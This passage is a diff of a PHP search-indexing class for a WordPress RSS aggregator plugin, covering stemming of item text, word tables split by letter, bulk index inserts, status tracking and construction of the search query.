+$pba_search_database=""; //empty string "" for default database name, to override, define PBA_SEARCH_CONFIG in wp-config
+
+//internal variable initialisation
+$bdprsssearchdebug=false; //bdprsssearchdebug tells this script and the aggregator also that it is called in direct mode
+$bdprsssearchdebug_with_searchindex_info=true;
+$pba_search_directcall_comparepassword="";
+
+$pba_search_direct_call_attempt=false;
+if( !class_exists('BDPRSS2') && !isset($wpdb)){
+	$pba_search_direct_call_attempt=true;
+	require_once('../../../wp-config.php');
+}
+
+if(defined('PBA_SEARCH_DATABASE')) $pba_search_database = PBA_SEARCH_DATABASE;
+if(defined('PBA_SEARCH_ENABLE_DIRECTCALL')) $pba_search_enable_directcall = PBA_SEARCH_ENABLE_DIRECTCALL;
+if(defined('PBA_SEARCH_DIRECTCALL_PASSWORD')) $pba_search_directcall_password = PBA_SEARCH_DIRECTCALL_PASSWORD;
+
+if(isset($_GET['pbasearchpassword']))$pba_search_directcall_comparepassword=stripslashes($_GET['pbasearchpassword']);
+
+if($pba_search_direct_call_attempt){
+	if(!$pba_search_enable_directcall || $pba_search_directcall_comparepassword != $pba_search_directcall_password){
+		die ( __('Exiting pba_rsssearch before execution: either pba_search_enable_directcall not enabled or pba_search_directcall_password wrong.') );
+	}else{
+		$bdprsssearchdebug=true;
+		echo "Debug ... loading wp-config.php ... ";
+	}
+}
+
+
+if( !class_exists('BDPRSS_SEARCH') ) {
+
+	class BDPRSS_SEARCH
+	{	
+//config values
+var $heap_to_add;
+var $default_heapmode;
+var $bulklines;
+
+//internal script variables
+var $bdprss_searchtable_prefix;
+var $bdprss_searchtable_temp;
+var $bdprss_searchtable_status;
+var $bdprss_searchtable=array();
+
+var $bdprss_globalcounter;
+var $bdprss_bulksql;
+var $bdprss_item_status_sql;
+var $bdprss_item_delete_sql;
+var $get_ids4heap2add_mode_default;
+var $get_ids4heap2add_min_updatetimeage_default;
+var $get_ids4heap2add_max_item_updatetimeage_default;
+var $process_updates;
+var $process_deletes;
+
+		function BDPRSS_SEARCH() 
+		{
+			/* BDPRSS_SEARCH() - initialisition function that sets constant names for later use */
+			
+			global $pba_search_database, $table_prefix;
+			
+			//config values
+			$this->heap_to_add=1000; //maximum possible heap, depends on memory and exec time restricts in php
+			$this->default_heapmode="bulk";  //possible values: "bulk", "temptable"
+			$this->bulklines=20; //never set to zero, may result in division by zero error, max possible value depends on ph memory
+			$this->get_ids4heap2add_mode_default="notinstatus"; //possible values: "notinstatus", "maxitem_id"
+			$this->get_ids4heap2add_min_updatetimeage_default="30"; 
+			$this->get_ids4heap2add_max_item_updatetimeage_default="86400";
+			$this->process_updates=false;
+			$this->process_deletes=false;
+
+			if($pba_search_database != "") $pba_search_database .= ".";
+			$this->bdprss_searchtable_prefix=$pba_search_database . $table_prefix . "pba_index_";
+			
+			$this->bdprss_searchtable[9]=array($this->bdprss_searchtable_prefix . "9","w","{");
+			$this->bdprss_searchtable[8]=array($this->bdprss_searchtable_prefix . "8","u","w");
+			$this->bdprss_searchtable[7]=array($this->bdprss_searchtable_prefix . "7","s","u");
+			$this->bdprss_searchtable[6]=array($this->bdprss_searchtable_prefix . "6","n","s");
+			$this->bdprss_searchtable[5]=array($this->bdprss_searchtable_prefix . "5","j","n");
+			$this->bdprss_searchtable[4]=array($this->bdprss_searchtable_prefix . "4","h","j");
+			$this->bdprss_searchtable[3]=array($this->bdprss_searchtable_prefix . "3","e","h");
+			$this->bdprss_searchtable[2]=array($this->bdprss_searchtable_prefix . "2","d","e");
+			$this->bdprss_searchtable[1]=array($this->bdprss_searchtable_prefix . "1","a","d");
+			$this->bdprss_searchtable[0]=array($this->bdprss_searchtable_prefix . "0","0",":");
+
+			$this->bdprss_searchtable_temp=$this->bdprss_searchtable_prefix . "temp";
+			$this->bdprss_searchtable_status=$this->bdprss_searchtable_prefix . "status"; // 'OK', 'UPDATE', 'INTEMP'
+
+			$this->bdprss_globalcounter=0;
+			$this->bdprss_bulksql=array();
+			$this->bdprss_item_status_sql="";
+			$this->bdprss_item_delete_sql="";
+		} //init function BDPRSS_SEARCH
+
+function bdprss_make_entities_from_searchphrase($searchword=""){
+  global $bdprsssearchdebug;
+  $return_array=array();
+  $linepointer=0;
+  $is_in_quot_mode=false;
+  $continue=false;
+  
+  //find chunks enclosed by doublequots
+  $searchword_array=str_split(" " . $searchword . " ");
+    //print_r($searchword_array);
+
+  foreach($searchword_array as $searchword_pos => $searchword_letter){
+    if($continue){ $continue = false; continue; }
+    $return_array[$linepointer]['type']='Plain';
+    if($searchword_letter == " " && ($searchword_array[$searchword_pos + 1] == '"' || $searchword_array[$searchword_pos + 1] == "'") && $is_in_quot_mode==false){
+      if(strlen($return_array[$linepointer]['string'])>0) $linepointer++;
+      $is_in_quot_mode=true;
+      $searchword_letter="";
+      $continue=true;
+    } elseif(($searchword_letter == '"' || $searchword_letter == "'") && $searchword_array[$searchword_pos + 1] == ' ' && $is_in_quot_mode==true){
+      $return_array[$linepointer]['type']='Quoted';
+      if(strlen($return_array[$linepointer]['string'])>0) $linepointer++;
+      $return_array[$linepointer]['type']='Plain';
+      $is_in_quot_mode=false;
+      $searchword_letter="";
+    }
+    $return_array[$linepointer]['string']=$return_array[$linepointer]['string'] . $searchword_letter;
+  }
+  $array_counter=0;
+  $plain_merger="";
+  $sorted_array[0]=array();
+  foreach($return_array as $linepointer => $line){
+    $return_array[$linepointer]['stemmed']= $this->stem_search_text($line['string']);
+    if($line['type']=='Quoted'){
+      $array_counter++;
+      $sorted_array[$array_counter]= explode(' ', $this->stem_search_text($line['string']));
+    } else {
+      $plain_merger=$plain_merger . " " . $line['string'];
+    }
+  }
+  $plain_merger=$this->stem_search_text($plain_merger);
+  if(strlen($plain_merger)>0) $sorted_array[0] = explode(' ', $plain_merger);
+  if($bdprsssearchdebug) {echo "<br>Debug: sorted_array: "; print_r($sorted_array);}
+  return $sorted_array; //in array[0] is single words, in array [1-n] is search phrases
+}
+
+function bdprss_findtableforword($searchword=""){
+  $char2compare=ord(substr($searchword,0,1));
+  foreach($this->bdprss_searchtable as $table_to_search){
+    if($char2compare >= ord($table_to_search[1]) && $char2compare < ord($table_to_search[2])) { 
+      return $table_to_search[0]; 
+    } 
+  }
+  return false;
+  
+}
+
+function pbasearch_list_tables(){
+	$tables=array();
+	foreach($this->bdprss_searchtable as $table_to_search){
+		$tables[$table_to_search[0]]=true;
+	}
+	$tables[$this->bdprss_searchtable_status]=true;
+	$tables[$this->bdprss_searchtable_temp]=true;
+	return $tables;
+}
+
+function bdprss_create_proc(){
+  global $bdprss_db, $wpdb, $bdprsssearchdebug;
+
+  foreach($this->bdprss_searchtable as $table_to_search){
+    $threshold=chr(ord($table_to_search[2])-1);
+    $sql="CREATE TABLE IF NOT EXISTS $table_to_search[0] (
+      item_id int(10) NOT NULL,
+      index_word varchar(255) NOT NULL,
+      index_position int(10) NOT NULL,
+      PRIMARY KEY  (item_id,index_position),
+      KEY idx_word_id (index_word,item_id)
+    ) ENGINE=MyISAM DEFAULT CHARSET=latin1 COMMENT='$table_to_search[1]-$threshold'";
+    $result = $wpdb->query($sql);
+  }
+
+    $sql="CREATE TABLE IF NOT EXISTS $this->bdprss_searchtable_temp (
+      item_id int(10) NOT NULL,
+      index_word varchar(255) NOT NULL,
+      index_position int(10) NOT NULL,
+      PRIMARY KEY  (item_id,index_position)
+    ) ENGINE=MyISAM DEFAULT CHARSET=latin1 COMMENT='temp'";
+    $result = $wpdb->query($sql);
+
+    $sql="CREATE TABLE IF NOT EXISTS $this->bdprss_searchtable_status (
+  item_id int(10) NOT NULL,
+  md5 char(32) NOT NULL,
+  status char(6) NOT NULL,
+  item_time int(15) NOT NULL,
+  item_update_time int(15) NOT NULL,
+  PRIMARY KEY  (item_id),
+  KEY idx_status_item_id (status,item_id)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 COMMENT='index status per item id'";
+    $result = $wpdb->query($sql);
+
+  return $result;
+}
+
+function stem_search_text($bdprss_itemtext2search){
+//strip text of html and script tags
+  $bdprss_itemtext2search=BDPRSS2::remove_link_and_cache_links_from_item($bdprss_itemtext2search);
+  $bdprss_itemtext2search=BDPRSS2::packageItemText($bdprss_itemtext2search, 0, 1000000, FALSE, '');
+
+//replace non text with blanks and decapitalize
+  $strg=array("ä","ö","ü","ß");
+  $rpl=array("ae","oe","ue","ss");
+  $bdprss_itemtext2search=utf8_encode(str_replace($strg,$rpl,html_entity_decode(utf8_decode(strtolower(trim($bdprss_itemtext2search))))));
+  $bdprss_itemtext2search=trim(preg_replace('/[^a-z0-9]+/si',' ',$bdprss_itemtext2search));
+
+  return $bdprss_itemtext2search;
+}
+
+function delete_item_from_search($bdprss_delete_searchitem_id){
+  global $bdprss_db, $wpdb, $bdprsssearchdebug;
+  $this->bdprss_item_delete_sql .= ", '$bdprss_delete_searchitem_id'";
+}
+
+function add_item_to_search($bdprss_add_searchitem_id, $addheapmode="", $dodelete=false){
+
+  global $bdprss_db, $wpdb, $bdprsssearchdebug;
+  
+  if($addheapmode == "") $addheapmode = $this->default_heapmode;
+  if( $this->process_updates ) $dodelete=true;
+  
+  $search_item=$bdprss_db->getItemByID($bdprss_add_searchitem_id);
+  if(!$search_item->item_site_name && !$search_item->item_name && !$search_item->text_body) return;
+  $bdprss_itemtime2search=$search_item->item_time;
+
+//Here we got all the info needed for an entry in search index
+  $bdprss_itemtext2search=$search_item->item_site_name . " " . $search_item->item_name . " " . $search_item->text_body;
+
+  $bdprss_itemtext2search=$this->stem_search_text($bdprss_itemtext2search);
+
+//delete previous items to search index
+
+//add item to search index
+  if($addheapmode == "temptable"){
+    //echo "Just testing, no real insert done";
+    $bdprss_itemtext2searcharray=explode(' ',$bdprss_itemtext2search);
+    foreach($bdprss_itemtext2searcharray as $bdprss_itemtext2searcharraykey => $bdprss_itemtext2searcharrayvalue){
+      $bdprss_tmptable_sql .= ", ($bdprss_add_searchitem_id, '$bdprss_itemtext2searcharrayvalue', $bdprss_itemtext2searcharraykey)";
+    }
+    $bdprss_tmptable_sql= "INSERT INTO " . $this->bdprss_searchtable_temp . " (item_id, index_word , index_position) VALUES " . substr($bdprss_tmptable_sql,2);
+    //echo $bdprss_tmptable_sql;
+    $result = $wpdb->query($bdprss_tmptable_sql);
+    $this->bdprss_item_status_sql .= ", '$bdprss_add_searchitem_id'";
+  } elseif($addheapmode == "bulk"){
+    //echo "Just testing, no real insert done";
+    $bdprss_itemtext2searcharray=explode(' ',$bdprss_itemtext2search);
+    foreach($bdprss_itemtext2searcharray as $bdprss_itemtext2searcharraykey => $bdprss_itemtext2searcharrayvalue){
+      $table4word=$this->bdprss_findtableforword($bdprss_itemtext2searcharrayvalue);
+      //echo " $bdprss_itemtext2searcharrayvalue -> $table4word";
+      if($table4word) {
+      	if(!isset($this->bdprss_bulksql[$table4word])) $this->bdprss_bulksql[$table4word] ="";
+      	$this->bdprss_bulksql[$table4word] .= ", ($bdprss_add_searchitem_id, '$bdprss_itemtext2searcharrayvalue', $bdprss_itemtext2searcharraykey)";
+      }
+    }
+    $this->bdprss_item_status_sql .= ", '$bdprss_add_searchitem_id'";
+    if($dodelete) $this->bdprss_item_delete_sql .= ", '$bdprss_add_searchitem_id'";
+  } else {
+    $sql = "call insme($bdprss_add_searchitem_id, '" . $bdprss_itemtext2search . "', $bdprss_itemtime2search)";
+    if($bdprsssearchdebug) echo "Debug: Error: no valid addheapmode: $addheapmode ";
+    //$result = $wpdb->query($sql); //broken procedure may be for new addheapmode
+    return false;
+  }
+  $insertcounter=substr_count(utf8_decode($bdprss_itemtext2search), ' ')+1;
+  $this->bdprss_globalcounter+=$insertcounter;
+  if($bdprsssearchdebug) echo " " . $insertcounter . "w. ";
+  flush();
+  return true;
+}
+
+function bdprss_search4items($search_phrase, $start=0, $max=10, $ids=false, $list_id=0, $itemdate="", $feed="", $fromtimestamp=0, $totimestamp=0, $opsfilter=false, $orderbysitename=false, $itemid=false){
+  global $wpdb, $bdprss_db, $found_tickeritems, $bdprsssearchdebug;
+
+  //$itemdate="2009-02-28"; //leave for testing purposes
+  //$feed="http://evilboy.ej.am/blog/?feed=rss2";  //leave for testing purposes
+
+  //make variables secure
+  $list_id=abs(intval($list_id));
+  $fromtimestamp=abs(intval($fromtimestamp));
+  $totimestamp=abs(intval($totimestamp));
+  $start=abs(intval($start));
+  $max=abs(intval($max));
+  if($itemid) $itemid = abs(intval($itemid));
+  if($itemdate && $itemdate!=""){
+    if (!ereg("[0-9][0-9][0-9][0-9]-[0-1][0-9]-[0-3][0-9]", $itemdate)){
+			$itemdate = "";
+		}
+  } else {
+		$itemdate = "";
+  }
+
+//just a test, switch model to be programmed later in a more fitting place
+  if($infeed==""){
+    $infeed=preg_replace("/(feed:[^ ]+).*/",'${1}',$search_phrase);
+    if(strstr(substr($infeed, 0, 5), 'feed:')) {
+      $search_phrase=preg_replace("/(feed:[^ ]+)/",'',$search_phrase);
+      $infeed = mysql_real_escape_string(str_replace("feed:", "", $infeed));
+      if($bdprsssearchdebug) echo "<br>Debug: feed from switch is: " . $infeed . " Remaining searchphrase is: " . $search_phrase;
+    } else {
+      $infeed="";
+    }
+  }
+  if($feed && $feed != ""){
+		$feed = mysql_real_escape_string($feed);
+  } else {
+		$feed = "";
+  }
+
+
+//following is just for testing purposes, get site ids from list
+	if(false && $bdprsssearchdebug && $list_id > 0){
+		$listInfo = $bdprss_db->get_list($list_id);
+		$lurls = $listInfo->{$bdprss_db->lurls};
+		$ids = preg_split("','", $lurls, -1, PREG_SPLIT_NO_EMPTY);
+		$list_id=0;
+	}
+
+//stem search phrase
+  $sorted_array=$this->bdprss_make_entities_from_searchphrase($search_phrase);
+  
+  $argument_counter=1;
+  if(false) $straight=" STRAIGHT_JOIN ";
+  if($bdprsssearchdebug) $no_sqlcache=" SQL_NO_CACHE ";
+  if(count($sorted_array[0]) + count($sorted_array[1]) > 0) $checkstatus=true;
+  
+  $found_rows = 'SQL_CALC_FOUND_ROWS ';
+  $search_query="SELECT $straight $no_sqlcache $found_rows distinct r1.identifier as $bdprss_db->miid FROM ";
+
+  $search_query_tables="";
+  $search_query_conditions_items="";
+  $search_query_conditions_words="";
+  $search_query_conditions_position="";
+  $search_query_conditions_status="";
+  $search_query_conditions_list="";
+	$search_query_conditions_ids="";
+	$search_query_conditions_itemdate="";
+	$search_query_conditions_feed="";
+	$search_query_conditions_infeed="";
+	$search_query_conditions_ops="";
+	$search_query_conditions_obsn="";
+	$search_query_conditions_itemid="";
+
+  foreach($sorted_array as $sorted_array_key => $sorted_array_value){
+    foreach($sorted_array_value as $sorted_array_value_key => $sorted_array_value_value){
+      $search_query_tables.=", " . $this->bdprss_findtableforword($sorted_array_value_value) . " i" . $argument_counter . "\n";
+      $search_query_conditions_items .= "AND r1.identifier = i" . $argument_counter . ".item_id \n";
+      $search_query_conditions_words .= "AND i" . $argument_counter . ".index_word = '" . $sorted_array_value_value . "' \n";
+      if($sorted_array_key > 0 && $sorted_array_value_key > 0) {
+        $argument_helper = $argument_counter -1;
+        $search_query_conditions_position .= "AND i" . $argument_counter . ".index_position = i" . $argument_helper . ".index_position + 1 \n";
+      }
+      $argument_counter++;
+    }
+  }
+  if($argument_counter > 1) $search_query=str_replace('r1.identifier','i1.item_id', $search_query);
+  $search_query_tables=" " . $bdprss_db->mitemtable . " r1 " . $search_query_tables ;
+  if($checkstatus) {
+    $search_query_tables = " " . $this->bdprss_searchtable_status . " sts, " . $search_query_tables;
+    $search_query_conditions_status="AND r1.identifier = sts.item_id AND ( sts.status = 'OK' OR sts.status = 'UPDATE' ) \n";
+  }
+  
+  //one page per site filter
+  if($opsfilter){
+    //give only out one article per site
+    //tough query, but still far from perfect
+    //1st problem - cannot specify, give out two, three or n articles from each site
+    //2nd problem - search filter will search only in latest article per site, 
+    //but better would be to search first and then filter doublettes
+    $search_query_tables = " ( SELECT max( ops4.identifier ) as identifier
+      FROM " . $bdprss_db->mitemtable . " ops4, (
+        SELECT ops3.site_id , max( ops3.item_time ) maxtime FROM " . $bdprss_db->mitemtable . " ops3 GROUP BY ops3.site_id
+      )ops2 WHERE ops4.site_id = ops2.site_id AND ops4.item_time = ops2.maxtime
+      GROUP BY ops4.site_id ) ops, " . $search_query_tables;
+    $search_query_conditions_ops="AND r1.identifier = ops.identifier \n";
+  }
+  
+  if($feed != ""){
+    if($argument_counter > 1) {
+      $search_query_conditions_feed="AND r1.site_id = (select mst.identifier AS site_id from " . $bdprss_db->msitetable . " mst WHERE mst.feed_url = '" . $feed . "') \n";
+    } else {
+      $search_query_tables = " (select mst.identifier AS site_id from " . $bdprss_db->msitetable . " mst WHERE mst.feed_url = '" . $feed . "') s2, " . $search_query_tables;
+      $search_query_conditions_feed="AND r1.site_id = s2.site_id \n";
+    }
+  } elseif($infeed != ""){
+    if($argument_counter > 1) {
+      $search_query_conditions_feed="AND r1.site_id IN (select mst.identifier AS site_id from " . $bdprss_db->msitetable . " mst WHERE mst.feed_url LIKE '%" . $infeed . "%') \n";
+    } else {
+      $search_query_tables = " (select mst.identifier AS site_id from " . $bdprss_db->msitetable . " mst WHERE mst.feed_url LIKE '%" . $infeed . "%') s2, " . $search_query_tables;
+      $search_query_conditions_feed="AND r1.site_id = s2.site_id \n";
+    }
+  } 
+  
+  if($list_id > 0) {
+    if($argument_counter > 1) {
+      //both list options are logically synonym, but mysql optimizer treats both query styles very diffrent
+      $search_query_conditions_list="AND r1.site_id in (select sites.identifier AS site_id from (" . $bdprss_db->listtable . " lists join " . $bdprss_db->sitetable . " sites) where ((concat(_latin1',',lists.url_list,_latin1',') like concat(_utf8'%,',sites.identifier,_utf8',%')) or (lists.list_all = _latin1'Y')) and lists.identifier = '" . $list_id . "')  \n";
+    } else {
+      $search_query_tables = " (select sites.identifier AS site_id from (" . $bdprss_db->listtable . " lists join " . $bdprss_db->msitetable . " sites) where ((concat(_latin1',',lists.url_list,_latin1',') like concat(_utf8'%,',sites.identifier,_utf8',%')) or (lists.list_all = _latin1'Y')) and lists.identifier = '" . $list_id . "') s1, " . $search_query_tables;
+      $search_query_conditions_list="AND r1.site_id = s1.site_id \n";
+    }
+  } elseif($ids) {
+    if($argument_counter > 1) {
+			$virgin = true;
+			foreach($ids as $id) {
+				if(!$id) continue;
+				if($virgin) 
+					$search_query_conditions_ids .= "AND ( ";
+				else
+					$search_query_conditions_ids .= "OR";
+				$search_query_conditions_ids .= " $bdprss_db->misiteid='" . abs(intval($id)) . "' ";
+				$virgin = false;
+			}
+			if(!$virgin) $search_query_conditions_ids .= ") ";
+		}else{
+			$replace_ids="'-1'";
+			foreach($ids as $id) {
+				$replace_ids .= ", '".abs(intval($id))."'";
+			}
+			$replace_ids=str_replace("'-1',",'', $replace_ids);
+      $search_query_tables = " (select sites.identifier AS site_id from " . $bdprss_db->msitetable . " sites WHERE identifier IN (".$replace_ids.")) s1, " . $search_query_tables;
+      $search_query_conditions_ids="AND r1.site_id = s1.site_id \n";
+		}
+	}
+  if($itemdate!="") $search_query_conditions_itemdate .="AND r1.item_time >= UNIX_TIMESTAMP( '" . $itemdate . "' ) AND r1.item_time < UNIX_TIMESTAMP( '" . $itemdate . "' ) + 24 *60 *60 \n";
+  if($fromtimestamp > 0) $search_query_conditions_itemdate .="AND r1.item_time >= '" . $fromtimestamp . "' \n";
+  if($totimestamp > 0) $search_query_conditions_itemdate .="AND r1.item_time <= '" . $totimestamp . "' \n";
+
+  if($orderbysitename){
+    //this order seems to be only sensible together with opsfilter
+    $search_query_tables = " " . $bdprss_db->msitetable . " obsn, " . $search_query_tables;
+    $search_query_conditions_obsn="AND r1.site_id = obsn.identifier \n";
+    $search_query_order=" ORDER BY obsn.site_name ASC ";
+  }else{
+    $search_query_order=" ORDER BY r1.item_time DESC ";
+  }
+
+  //looks strange, but gives possibility to check, if item_id is hit with all the other filter applied
+  if($itemid) $search_query_conditions_itemid="AND r1.identifier = '".$itemid."' \n";
+
+  $search_query_conditions="WHERE 1 " . $search_query_conditions_words . $search_query_conditions_items . $search_query_conditions_position . $search_query_conditions_ids . $search_query_conditions_status . $search_query_conditions_list . $search_query_conditions_itemdate . $search_query_conditions_feed . $search_query_conditions_ops . $search_query_conditions_obsn . $search_query_conditions_itemid;
+  $search_query_conditions=str_replace('WHERE 1 AND','WHERE', $search_query_conditions);
+
+  $search_query_limits=" LIMIT $start , $max ";
+  
+  $search_query= $search_query . $search_query_tables . $search_query_conditions . $search_query_order . $search_query_limits;
+  if($bdprsssearchdebug) echo "<br>Debug: search_query: " . $search_query;
+
+	$tmp_result = $wpdb->get_results($search_query);
+	if ( $search_query_limits ) {
+		$found_tickeritems_query = apply_filters( 'found_tickeritems_query', 'SELECT FOUND_ROWS()' );
+		$found_tickeritems = $wpdb->get_var( $found_tickeritems_query );
+	}
+
+  if($bdprsssearchdebug) echo "<br>Debug: Rows found: " . $found_tickeritems ;
+
+//give out item_ids
+
+  return $tmp_result;
+}
+
+function process_delete_sql(){
+  global $wpdb, $bdprss_db, $bdprsssearchdebug;
+  if(strlen($this->bdprss_item_delete_sql)>0){
+    foreach($this->bdprss_searchtable as $table_to_search){
+      $deletesql = "DELETE FROM $table_to_search[0] WHERE item_id IN ( " . substr($this->bdprss_item_delete_sql,2) . " ) \n";
+      if($bdprsssearchdebug) echo "<br>Debug " . date("H:i:s") . ": Deleting from " . $table_to_search[0];
+      flush();
+      $result = $wpdb->query($deletesql);
+    }
+    if($this->process_deletes){
+      $deletesql = "DELETE FROM " . $this->bdprss_searchtable_status . " WHERE item_id IN ( " . substr($this->bdprss_item_delete_sql,2) . " ) \n";
+      if($bdprsssearchdebug) echo "<br>Debug " . date("H:i:s") . ": Deleting from statustable ... " . $deletesql;
+      flush();
+      $result = $wpdb->query($deletesql);
+    }
+    $this->bdprss_item_delete_sql="";
+  }
+}
+
+function process_bulk_sql(){
+  global $wpdb, $bdprss_db, $bdprsssearchdebug;
+  if(strlen($this->bdprss_item_delete_sql)>0){
+    $this->process_delete_sql();
+  }
+  if($bdprsssearchdebug) echo "<br>Debug " . date("H:i:s") . ": Inserting ... ";
+  flush();
+  foreach($this->bdprss_bulksql as $bdprss_bulksql_table => $bdprss_bulksql_value){
+    $bdprss_bulksql_value = "INSERT INTO " . $bdprss_bulksql_table . " (item_id, index_word , index_position) VALUES " . substr($bdprss_bulksql_value,2) . "\n";
+    $result = $wpdb->query($bdprss_bulksql_value);
+  }
+  if($bdprsssearchdebug) echo " Debug " . date("H:i:s") . ": inserts done.";
+  flush();
+  if($result && strlen($this->bdprss_item_status_sql)>0){
+    $this->bdprss_item_status_sql = "REPLACE INTO " . $this->bdprss_searchtable_status . " 
+      Select identifier as item_id, md5(concat(item_site_name, ' ', item_name, ' ', text_body)) as md5, 'OK' as status, item_time, item_update_time from " . $bdprss_db->itemtable . " 
+        WHERE identifier IN ( " . substr($this->bdprss_item_status_sql,2) . ")";
+    $result = $wpdb->query($this->bdprss_item_status_sql);
+  }
+  $this->bdprss_bulksql=array();
+  $this->bdprss_item_status_sql ="";
+}
+
+function markitem4update($item_id="", $md5tocompare=""){
+  $item_id=abs(intval($item_id));
+  global $wpdb, $bdprss_db, $bdprsssearchdebug;
+  
+  if($item_id > 0 || $item_id == '0'){
+    $sql="UPDATE " . $this->bdprss_searchtable_status . " sts, " . $bdprss_db->itemtable . " i
+      SET sts.status = 'UPDATE' 
+      WHERE sts.item_id = '".$item_id."'
+      AND sts.status = 'OK'
+      AND sts.md5 != '" . $md5tocompare . "'
+      AND sts.item_id = i.identifier
+      AND sts.md5 != md5( concat( i.item_site_name, ' ', i.item_name, ' ', i.text_body ) )
+      ";
+    $result = $wpdb->query($sql);
+    return $wpdb->rows_affected;
+  }
+  
+  return false;
+}
+
+function markitem4delete($item_id=""){
+  $item_id=abs(intval($item_id));
+  global $wpdb, $bdprss_db, $bdprsssearchdebug;
+  
+  if($item_id > 0 || $item_id == '0'){
+    $sql="UPDATE " . $this->bdprss_searchtable_status . " 
+      SET status = 'DELETE' 
+      WHERE item_id = '".$item_id."'";
+    $result = $wpdb->query($sql);
+    return true;
+  }
+  
+  return false;
+}
+
+function markfeed4delete($feed_id="", $oldDefined=false){
+  global $wpdb, $bdprss_db, $bdprsssearchdebug;
+  $feed_id=abs(intval($feed_id));
+  $oldDefined=abs(intval($oldDefined));
+  
+  if($oldDefined>1){
+    if($feed_id > 0 || $feed_id == '0'){
+      $sql="UPDATE " . $this->bdprss_searchtable_status . " sts, " . $bdprss_db->mitemtable . " mi
+        SET sts.status = 'DELETE' 
+        WHERE sts.item_id = mi.identifier
+        AND mi.site_id = '" . $feed_id . "'
+        AND (mi.item_time < '" . $oldDefined . "' OR mi.item_time = '')";
+      $result = $wpdb->query($sql);
+      return true;
+    }
+  }else{
+    if($feed_id > 0 || $feed_id == '0'){
+      $sql="UPDATE " . $this->bdprss_searchtable_status . " sts, " . $bdprss_db->mitemtable . " mi
+        SET sts.status = 'DELETE' 
+        WHERE sts.item_id = mi.identifier
+        AND mi.site_id = '" . $feed_id . "'";
+      $result = $wpdb->query($sql);
+      return true;
+    }
+  }
+  return false;
+}
+
+function get_ids4heap2add($heap_to_add=1, $get_ids4heap2add_mode="", 
+  $get_ids4heap2add_min_updatetimeage="", $get_ids4heap2add_max_item_updatetimeage="", $list_id=0){
+  global $wpdb, $bdprss_db, $bdprsssearchdebug;
+
+  $list_id=abs(intval($list_id));
+  if($get_ids4heap2add_mode=="") $get_ids4heap2add_mode=$this->get_ids4heap2add_mode_default;
+
+  if($get_ids4heap2add_min_updatetimeage==="") $get_ids4heap2add_min_updatetimeage=$this->get_ids4heap2add_min_updatetimeage_default;
+  $get_ids4heap2add_min_updatetimeage=abs(intval($get_ids4heap2add_min_updatetimeage));
+  if($get_ids4heap2add_max_item_updatetimeage==="") $get_ids4heap2add_max_item_updatetimeage=$this->get_ids4heap2add_max_item_updatetimeage_default;
+  $get_ids4heap2add_max_item_updatetimeage=abs(intval($get_ids4heap2add_max_item_updatetimeage));
+
+  $list_condition="";
+  $maxagecondition="";
+
+  if($get_ids4heap2add_mode=="maxitem_id"){
+    if($list_id > 0) $list_condition=" AND site_id in (select sites.identifier AS site_id from (" . $bdprss_db->listtable . " lists join " . $bdprss_db->sitetable . " sites) where ((concat(_latin1',',lists.url_list,_latin1',') like concat(_utf8'%,',sites.identifier,_utf8',%')) or (lists.list_all = _latin1'Y')) and lists.identifier = '" . $list_id . "')  \n";
+    $sql = "SELECT IFNULL(max(a.mval),0) from( \n";
+    foreach($this->bdprss_searchtable as $table_to_search){
+      $sql .= "SELECT IFNULL(max(item_id),0) mval FROM $table_to_search[0] union \n";
+    }
+    $sql .= "SELECT IFNULL(max(item_id),0) mval FROM $this->bdprss_searchtable_temp
+      ) as a";
+    $sql = 	"SELECT identifier FROM " . $bdprss_db->mitemtable . " 
+      WHERE identifier > (" . $sql . ") " . $list_condition . " order by identifier limit 0, $heap_to_add";
+  } elseif($get_ids4heap2add_mode=="notinstatus"){
+//range scan not a problem when range is small
+//item_update_time > UNIX_TIMESTAMP() - 86400 ran 0.1 seconds in test with newly created index
+    if($list_id > 0) $list_condition=" AND i.item_feed_url IN (select sites.feed_url AS item_feed_url from (" . $bdprss_db->listtable . " lists join " . $bdprss_db->sitetable . " sites) where ((concat(_latin1',',lists.url_list,_latin1',') like concat(_utf8'%,',sites.identifier,_utf8',%')) or (lists.list_all = _latin1'Y')) and lists.identifier = '" . $list_id . "')  \n";
+    if($get_ids4heap2add_max_item_updatetimeage > 0) $maxagecondition=" AnD i.item_update_time > UNIX_TIMESTAMP( ) - " . $get_ids4heap2add_max_item_updatetimeage . " \n";
+    $sql="SELECT i.identifier as identifier
+      FROM " . $bdprss_db->itemtable . " i
+      LEFT JOIN " . $this->bdprss_searchtable_status . " sts 
+      ON i.identifier = sts.item_id 
+      WHERE sts.item_id IS NULL 
+      $maxagecondition
+      AND i.item_update_time < UNIX_TIMESTAMP( ) - " . $get_ids4heap2add_min_updatetimeage . "
+      $list_condition
+      ORDER BY identifier
+      LIMIT 0, $heap_to_add";
+  }elseif($get_ids4heap2add_mode=="processupdates"){
+    $this->process_updates=true;
+    $sql="SELECT i.identifier as identifier FROM " . $bdprss_db->itemtable . " i, " . $this->bdprss_searchtable_status . " sts
+      WHERE i.identifier = sts.item_id
+      AND sts.status = 'UPDATE'
+      AND i.item_update_time < UNIX_TIMESTAMP() - " . $get_ids4heap2add_min_updatetimeage . "
+      ORDER BY identifier LIMIT 0, $heap_to_add";
+      //echo "Debug: getitem_id_sql: <br>". $sql . "<br>";
+  }elseif($get_ids4heap2add_mode=="processdeletes"){
+    $this->process_deletes=true;
+    $sql="SELECT sts.item_id as identifier FROM " . $this->bdprss_searchtable_status . " sts
+      WHERE sts.status = 'DELETE'
+      ORDER BY identifier LIMIT 0, $heap_to_add";
+    //echo "Debug: getitem_id_sql: <br>". $sql . "<br>";
+  }
+
+  
+  if($bdprsssearchdebug) echo "Debug: sql in get_ids4heap2add is: $sql";
+	if(strlen($sql)>0)$item_ids2add = $wpdb->get_results($sql);
+  //if($bdprsssearchdebug) print_r($item_ids2add);
+  $records_found=count($item_ids2add);
+  if($bdprsssearchdebug) echo " Records found: " . $records_found;
+  return $item_ids2add;
+}
+
+function add_heap2search_index($heap_to_add=1, $addheapmode="", $item_ids2add=false, 
+    $insertfromtemptable=true, $bdprss_getidmode="", $list_id=0, $get_ids4heap2add_max_item_updatetimeage="", $get_ids4heap2add_min_updatetimeage=""){
+  //get max item id in search index
+  global $wpdb, $bdprss_db, $bdprsssearchdebug;
+  
+	if($bdprss_db->highserverload || $bdprss_db->memtablesok!=1){
+		if($bdprsssearchdebug) echo "<br>Debug: Load threshold is at: " . $bdprss_db->serverstatus['pbaload']['notice'] . " ... exiting!";
+		flush();
